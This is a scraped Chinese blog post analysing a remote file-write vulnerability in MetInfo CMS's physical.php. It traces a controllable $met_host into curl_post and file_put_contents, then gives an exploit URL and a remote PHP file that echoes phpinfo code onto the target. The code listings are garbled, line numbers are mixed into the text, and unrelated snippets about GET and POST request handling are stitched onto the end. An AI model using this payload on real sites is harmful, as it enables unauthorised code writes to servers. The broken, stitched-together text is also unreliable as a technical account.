整體思路
例項:前言:
開始分析:
1);2如上**所示,第5、6行中的file_put_contents中有兩個引數,如果$results可控那麼可能就可以造成遠端檔案寫入的漏洞。那麼我們追蹤$results,因為$results是在curl_post函式中得到的,所以我們追蹤這個函式。$result=curl_post($post,60);
3if(link_error($result)==1)
我將滑鼠放至該函式便可追蹤到其**。有三個檔案。
1 /include/export.func.php第二個跟第三個均未被包含在這個檔案。那麼我們就鎖定在/include/export.func.php檔案當中3 install/index.php
1第7行當中的$met_host並未賦值即為可控(無論是在export.func.php還是在physical.php當中)。$met_file在physical.php當中有進行賦值。(這兩個變數是在export.func.php的第當中7、8有進行定義)<?php2 #
metinfo enterprise content management system 3#
4/*傳送post*/5
function curl_post($post,$timeout
)
所以得出$met_host可控,而$met_file不可控。
回來看這個漏洞所在的地方。
在122行必須要滿足physical[11] == 1才能執行這個漏洞。那麼看一下如何才能成立。
往physical這個檔案的開頭看去終於找到了。
當action為do的時候等於$physicaldo[11] == 1
所以構造出payload為
首先現在遠端伺服器上新建乙個standard.php
內容為:
1physical.php?action=do?met_host=127.0.0.1metinfo23
45<?php
6echo "joseph";
7 ?>89
1011
<?php
12echo "<?php phpinfo();?>";
13 ?>
漏洞還是挺雞肋。不支援遠端寫入也是沒法兒的。
如何通過Get請求給後台傳遞陣列
位址的如下格式 由上面的位址可以看出所傳遞的陣列就是ids 了,然後就是展示一下後台怎麼接收這個陣列。話不多說上 pullmany public void pullmany requestparam value ids string ids 輸出的結果正是1322455795329273856 和1...
前台傳遞POST與GET請求時,後台接收資料
今天9月30號,距離放假還有一天,划水過程中記錄一下曾經遇到的問題。get請求 在常規理解上來,是跟在位址列後方的眾多變數,在後台接收的時候,我們可以定義乙個包裝物件,或者是直接用引數來接收,或者用map來接收都可以,其中我們可能會用到 requestparam註解來對接收到的資料進行預設賦值,是否...
IE 瀏覽器下 get 請求不走後台
問題 1.有的 ie 下有問題,有的 ie 沒有問題,谷歌瀏覽器的都沒問題 2.url 引數一樣的,結果不一樣,且 有問題的 ie 這個請求不進後台 3.請求方式 get 原因 ie 瀏覽器中當某次的請求和上次的請求 url 和引數一致時,就會直接從瀏覽器快取中取上一次請求返回的結果 如果瀏覽器快取...